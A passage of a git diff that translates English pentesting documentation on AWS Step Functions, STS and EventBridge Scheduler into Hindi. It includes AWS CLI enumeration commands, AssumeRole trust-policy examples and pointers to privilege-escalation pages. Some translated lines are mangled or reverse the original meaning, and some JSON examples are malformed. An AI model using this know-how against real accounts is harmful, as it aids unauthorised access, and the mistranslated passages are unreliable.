परिभाषित कर सकते हैं। ## Key concepts ### Standard vs. Express Workflows -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions दो प्रकार के **state machine workflows** प्रदान करता है: Standard और Express। -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standard Workflow**: यह डिफ़ॉल्ट वर्कफ़्लो प्रकार लंबे समय तक चलने वाली, टिकाऊ, और ऑडिट करने योग्य प्रक्रियाओं के लिए डिज़ाइन किया गया है। यह **exactly-once execution** का समर्थन करता है, यह सुनिश्चित करते हुए कि कार्य केवल एक बार चलते हैं जब तक कि पुनः प्रयास निर्दिष्ट न किए जाएं। यह उन वर्कफ़्लो के लिए आदर्श है जिन्हें विस्तृत निष्पादन इतिहास की आवश्यकता होती है और यह एक वर्ष तक चल सकता है। +- **Express Workflow**: यह प्रकार उच्च मात्रा, छोटे समयावधि के कार्यों के लिए आदर्श है, जो पांच मिनट तक चलते हैं। वे **at-least-once execution** का समर्थन करते हैं, जो डेटा प्रोसेसिंग जैसे idempotent कार्यों के लिए उपयुक्त है। ये वर्कफ़्लो लागत और प्रदर्शन के लिए अनुकूलित होते हैं, निष्पादन, अवधि, और मेमोरी उपयोग के आधार पर चार्ज करते हैं। ### States -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +States state machines के आवश्यक इकाइयाँ हैं। वे वर्कफ़्लो के भीतर व्यक्तिगत चरणों को परिभाषित करते हैं, जो इसके प्रकार के आधार पर विभिन्न कार्य कर सकते हैं: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Task:** एक कार्य को निष्पादित करता है, अक्सर AWS सेवा जैसे Lambda का उपयोग करते हुए। +- **Choice:** इनपुट के आधार पर निर्णय लेता है। +- **Fail/Succeed:** निष्पादन को विफलता या सफलता के साथ समाप्त करता है। +- **Pass:** इनपुट को आउटपुट में पास करता है या डेटा इंजेक्ट करता है। +- **Wait:** सेट समय के लिए निष्पादन में देरी करता है। +- **Parallel:** समानांतर शाखाएँ आरंभ करता है। +- **Map:** आइटम पर चरणों को गतिशील रूप से दोहराता है। ### Task -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +एक **Task** state एक state machine द्वारा निष्पादित कार्य की एकल इकाई का प्रतिनिधित्व करता है। कार्य विभिन्न संसाधनों को आमंत्रित कर सकते हैं, जिसमें गतिविधियाँ, Lambda फ़ंक्शन, AWS सेवाएँ, या तीसरे पक्ष के APIs शामिल हैं। -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Activities**: कस्टम श्रमिक जिन्हें आप प्रबंधित करते हैं, लंबे समय तक चलने वाली प्रक्रियाओं के लिए उपयुक्त। +- Resource: **`arn:aws:states:region:account:activity:name`**. +- **Lambda Functions**: AWS Lambda फ़ंक्शंस को निष्पादित करता है। +- Resource: **`arn:aws:lambda:region:account:function:function-name`**. +- **AWS Services**: अन्य AWS सेवाओं के साथ सीधे एकीकृत करता है, जैसे DynamoDB या S3। +- Resource: **`arn:partition:states:region:account:servicename:APIname`**. +- **HTTP Task**: तीसरे पक्ष के APIs को कॉल करता है। +- Resource field: **`arn:aws:states:::http:invoke`**. फिर, आपको API URL, विधि, और प्रमाणीकरण विवरण जैसे API एंडपॉइंट कॉन्फ़िगरेशन विवरण प्रदान करने चाहिए। +निम्नलिखित उदाहरण एक Task state परिभाषा को दर्शाता है जो HelloWorld नामक Lambda फ़ंक्शन को आमंत्रित करता है: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. यह निर्दिष्ट शर्तों का मूल्यांकन करता है और परिणामों के आधार पर संबंधित स्थिति में संक्रमण करता है। - **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. - **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. Example of **Choice** state: - ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` - ### Fail/Succeed -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. +A **`Fail`** state एक state machine के निष्पादन को रोकता है और इसे एक विफलता के रूप में चिह्नित करता है। इसका उपयोग एक त्रुटि नाम और एक कारण निर्दिष्ट करने के लिए किया जाता है, जो विफलता के बारे में विवरण प्रदान करता है। यह स्थिति टर्मिनल है, जिसका अर्थ है कि यह निष्पादन प्रवाह को समाप्त करती है। -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +A **`Succeed`** state सफलतापूर्वक निष्पादन को रोकता है। इसका उपयोग आमतौर पर तब किया जाता है जब कार्यप्रवाह सफलतापूर्वक पूरा होता है। इस स्थिति को **`Next`** फ़ील्ड की आवश्यकता नहीं होती है। {{#tabs }} {{#tab name="Fail example" }} - ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="सफलता का उदाहरण" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +एक **Pass** स्थिति अपने इनपुट को बिना कोई कार्य किए या JSON स्थिति इनपुट को फ़िल्टर का उपयोग करके परिवर्तित किए बिना अपने आउटपुट में पास करती है, और फिर परिवर्तित डेटा को अगली स्थिति में पास करती है। यह परीक्षण और स्थिति मशीनों का निर्माण करने के लिए उपयोगी है, जिससे आप स्थिर डेटा को इंजेक्ट या परिवर्तित कर सकते हैं। ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" } ``` - ### Wait A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: -- **X Seconds**: A fixed number of seconds to wait. +- **X Seconds**: एक निश्चित संख्या में सेकंड प्रतीक्षा करने के लिए। - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" +} +``` -- **Absolute Timestamp**: An exact time to wait until. +- **Absolute Timestamp**: एक सटीक समय तक प्रतीक्षा करने के लिए। - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. +- **Dynamic Wait**: इनपुट के आधार पर **`SecondsPath`** या **`TimestampPath`** का उपयोग करके। - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. - +- **Branches**: समानांतर निष्पादन पथों को परिभाषित करने वाला एक ऐरे। प्रत्येक शाखा एक अलग राज्य मशीन है। +- **ResultPath**: परिभाषित करता है कि (इनपुट में) शाखाओं के संयुक्त आउटपुट को कहाँ रखा जाए। +- **Retry and Catch**: समानांतर राज्य के लिए त्रुटि प्रबंधन कॉन्फ़िगरेशन। ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Map + +A **Map** state प्रत्येक आइटम के लिए एक सेट स्टेप्स के निष्पादन की अनुमति देता है। इसका उपयोग डेटा के समानांतर प्रसंस्करण के लिए किया जाता है। डेटा सेट के आइटम को कैसे संसाधित करना है, इस पर निर्भर करते हुए, Step Functions निम्नलिखित मोड प्रदान करता है: + +- **Inline Mode**: प्रत्येक JSON एरे आइटम के लिए राज्यों के एक उपसमुच्चय को निष्पादित करता है। 40 समानांतर पुनरावृत्तियों से कम के छोटे पैमाने के कार्यों के लिए उपयुक्त है, प्रत्येक को **`Map`** राज्य वाले कार्यप्रवाह के संदर्भ में चलाना। + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Distributed Mode**: उच्च समवर्तीता के साथ बड़े पैमाने पर समानांतर प्रसंस्करण के लिए डिज़ाइन किया गया है। यह बड़े डेटा सेट्स को संसाधित करने का समर्थन करता है, जैसे कि Amazon S3 में संग्रहीत डेटा, 10,000 समानांतर बाल कार्यप्रवाह निष्पादन की उच्च समवर्तीता की अनुमति देता है, इन बच्चों को एक अलग बाल निष्पादन के रूप में चलाना। -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: - -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. - - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` - -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. - - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` ### Versions and aliases -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +Step Functions आपको **संस्करणों** और **उपनामों** के माध्यम से कार्यप्रवाह तैनाती को प्रबंधित करने की अनुमति भी देता है। एक संस्करण एक राज्य मशीन का स्नैपशॉट दर्शाता है जिसे निष्पादित किया जा सकता है। उपनाम एक राज्य मशीन के दो संस्करणों तक के लिए संकेतक के रूप में कार्य करते हैं। -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Versions**: ये राज्य मशीन के अपरिवर्तनीय स्नैपशॉट उस राज्य मशीन के सबसे हाल के संशोधन से बनाए जाते हैं। प्रत्येक संस्करण को एक अद्वितीय ARN द्वारा पहचाना जाता है जो राज्य मशीन ARN को संस्करण संख्या के साथ जोड़ता है, जिसे कोलन द्वारा अलग किया जाता है (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)। संस्करणों को संपादित नहीं किया जा सकता है, लेकिन आप राज्य मशीन को अपडेट कर सकते हैं और एक नया संस्करण प्रकाशित कर सकते हैं, या इच्छित राज्य मशीन संस्करण का उपयोग कर सकते हैं। +- **Aliases**: ये संकेतक एक ही राज्य मशीन के दो संस्करणों तक को संदर्भित कर सकते हैं। एकल राज्य मशीन के लिए कई उपनाम बनाए जा सकते हैं, प्रत्येक को एक अद्वितीय ARN द्वारा पहचाना जाता है जो राज्य मशीन ARN को उपनाम के नाम के साथ जोड़ता है, जिसे कोलन द्वारा अलग किया जाता है (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)। उपनाम एक राज्य मशीन के दो संस्करणों के बीच ट्रैफ़िक को रूट करने की अनुमति देते हैं। वैकल्पिक रूप से, एक उपनाम राज्य मशीन के एक विशेष संस्करण की ओर इशारा कर सकता है, लेकिन अन्य उपनामों की ओर नहीं। इन्हें आवश्यकतानुसार राज्य मशीन के एक अलग संस्करण की ओर पुनर्निर्देशित करने के लिए अपडेट किया जा सकता है, जिससे नियंत्रित तैनाती और कार्यप्रवाह प्रबंधन को सुविधाजनक बनाया जा सके। -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). +**ASL** के बारे में अधिक विस्तृत जानकारी के लिए, देखें: [**Amazon States Language**](https://states-language.net/spec.html)。 ## IAM Roles for State machines -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: +AWS Step Functions संसाधनों और कार्यों तक पहुँच को नियंत्रित करने के लिए AWS पहचान और पहुँच प्रबंधन (IAM) भूमिकाओं का उपयोग करता है। AWS Step Functions में सुरक्षा और IAM भूमिकाओं से संबंधित प्रमुख पहलू यहां दिए गए हैं: -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. +- **Execution Role**: AWS Step Functions में प्रत्येक राज्य मशीन एक IAM निष्पादन भूमिका से जुड़ी होती है। यह भूमिका परिभाषित करती है कि राज्य मशीन आपकी ओर से कौन से कार्य कर सकती है। जब एक राज्य मशीन उन राज्यों के बीच संक्रमण करती है जो AWS सेवाओं के साथ इंटरैक्ट करते हैं (जैसे Lambda कार्यों को कॉल करना, DynamoDB तक पहुँचना, आदि), तो यह उन कार्यों को करने के लिए इस निष्पादन भूमिका को ग्रहण करती है। +- **Permissions**: IAM निष्पादन भूमिका को अन्य AWS सेवाओं पर आवश्यक कार्यों की अनुमति देने वाली अनुमतियों के साथ कॉन्फ़िगर किया जाना चाहिए। उदाहरण के लिए, यदि आपकी राज्य मशीन को AWS Lambda कार्यों को कॉल करने की आवश्यकता है, तो IAM भूमिका को **`lambda:InvokeFunction`** अनुमतियाँ होनी चाहिए। इसी तरह, यदि इसे DynamoDB में लिखने की आवश्यकता है, तो उचित अनुमतियाँ (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, आदि) प्रदान की जानी चाहिए। ## Enumeration -ReadOnlyAccess policy is enough for all the following enumeration actions. - +ReadOnlyAccess नीति सभी निम्नलिखित गणना क्रियाओं के लिए पर्याप्त है। ```bash # State machines # @@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +अगली पृष्ठ पर, आप देख सकते हैं कि **Step Functions अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..1c7324229 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS सुरक्षा टोकन सेवा (STS)** मुख्य रूप से **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** जारी करने के लिए डिज़ाइन की गई है। ये क्रेडेंशियल्स **AWS पहचान और पहुंच प्रबंधन (IAM)** उपयोगकर्ताओं या प्रमाणित उपयोगकर्ताओं (संघीय उपयोगकर्ताओं) के लिए अनुरोध किए जा सकते हैं। -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +चूंकि STS का उद्देश्य **पहचान अनुकरण के लिए क्रेडेंशियल्स जारी करना** है, यह सेवा **विशेषाधिकार बढ़ाने और निरंतरता बनाए रखने** के लिए अत्यधिक मूल्यवान है, भले ही इसके पास विकल्पों की एक विस्तृत श्रृंखला न हो। ### Assume Role Impersonation -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +AWS STS द्वारा प्रदान किया गया क्रिया [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) महत्वपूर्ण है क्योंकि यह एक प्रमुख को दूसरे प्रमुख के लिए क्रेडेंशियल्स प्राप्त करने की अनुमति देती है, मूल रूप से उन्हें अनुकरण करती है। जब इसे लागू किया जाता है, तो यह एक एक्सेस कुंजी आईडी, एक गुप्त कुंजी, और निर्दिष्ट ARN के अनुसार एक सत्र टोकन के साथ प्रतिक्रिया करता है। -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +पेनिट्रेशन टेस्टर्स या रेड टीम के सदस्यों के लिए, यह तकनीक विशेषाधिकार वृद्धि के लिए महत्वपूर्ण है (जैसा कि [**यहां**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole) विस्तृत किया गया है)। हालाँकि, यह ध्यान देने योग्य है कि यह तकनीक काफी स्पष्ट है और यह हमलावर को चौंका नहीं सकती। #### Assume Role Logic -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: - +यदि **ध्यान देने योग्य भूमिका ARN** की अनुमति देने वाली भूमिका है तो उसी खाते में एक भूमिका को मानने के लिए: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +इस मामले में **`priv-role`** भूमिका को उस भूमिका को ग्रहण करने के लिए **विशेष रूप से अनुमति देने** की आवश्यकता नहीं है (उस अनुमति के लिए पर्याप्त है)। -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +हालांकि, यदि एक भूमिका किसी खाते को उसे ग्रहण करने की अनुमति दे रही है, जैसे कि: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +उस भूमिका को ग्रहण करने की कोशिश करने के लिए उसे उस भूमिका पर **विशिष्ट `sts:AssumeRole` अनुमति** की आवश्यकता होगी **ताकि वह उसे ग्रहण कर सके**। -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). +यदि आप **किसी अन्य खाते** से **भूमिका** ग्रहण करने की कोशिश करते हैं, तो **ग्रहण की गई भूमिका को इसकी अनुमति देनी चाहिए** (भूमिका **ARN** या **बाहरी खाते** को इंगित करते हुए), और **जो भूमिका दूसरी को ग्रहण करने की कोशिश कर रही है** उसे **इसे ग्रहण करने की अनुमति होनी चाहिए** (इस मामले में यह वैकल्पिक नहीं है, भले ही ग्रहण की गई भूमिका एक ARN निर्दिष्ट कर रही हो)। ### Enumeration - ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,10 +67,9 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +इस पृष्ठ पर आप देख सकते हैं कि **STS अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md @@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..c50379c54 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** एक पूरी तरह से प्रबंधित, **सर्वर रहित शेड्यूलर है जो बड़े पैमाने पर कार्यों को बनाने, चलाने और प्रबंधित करने के लिए डिज़ाइन किया गया है**। यह आपको 270 से अधिक AWS सेवाओं और 6,000+ API संचालन के बीच लाखों कार्यों को शेड्यूल करने की अनुमति देता है, सभी एक केंद्रीय सेवा से। अंतर्निहित विश्वसनीयता और प्रबंधित करने के लिए कोई बुनियादी ढांचा नहीं होने के साथ, EventBridge Scheduler शेड्यूलिंग को सरल बनाता है, रखरखाव की लागत को कम करता है, और मांग को पूरा करने के लिए स्वचालित रूप से स्केल करता है। आप आवर्ती शेड्यूल के लिए क्रोन या दर अभिव्यक्तियों को कॉन्फ़िगर कर सकते हैं, एक बार की कॉल सेट कर सकते हैं, और पुनः प्रयास विकल्पों के साथ लचीले वितरण विंडो को परिभाषित कर सकते हैं, यह सुनिश्चित करते हुए कि कार्य विश्वसनीय रूप से डाउनस्ट्रीम लक्ष्यों की उपलब्धता के आधार पर वितरित किए जाते हैं। -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +प्रत्येक क्षेत्र में प्रति खाते 1,000,000 शेड्यूल का प्रारंभिक सीमा है। यहां तक कि आधिकारिक कोटा पृष्ठ सुझाव देता है, "एक बार के शेड्यूल को समाप्त होने के बाद हटाने की सिफारिश की जाती है।" ### Types of Schedules -Types of Schedules in EventBridge Scheduler: +EventBridge Scheduler में शेड्यूल के प्रकार: -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **One-time schedules** – एक विशिष्ट समय पर कार्य को निष्पादित करें, जैसे, 21 दिसंबर को सुबह 7 बजे UTC। +2. **Rate-based schedules** – एक आवृत्ति के आधार पर आवर्ती कार्य सेट करें, जैसे, हर 2 घंटे में। +3. **Cron-based schedules** – एक क्रोन अभिव्यक्ति का उपयोग करके आवर्ती कार्य सेट करें, जैसे, हर शुक्रवार को शाम 4 बजे। -Two Mechanisms for Handling Failed Events: +Failed Events को संभालने के लिए दो तंत्र: -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Retry Policy** – एक विफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे विफलता मानने से पहले कितनी देर तक अप्रक्रमित रखा जाए। +2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां विफल घटनाएँ पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं। ### Targets -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any 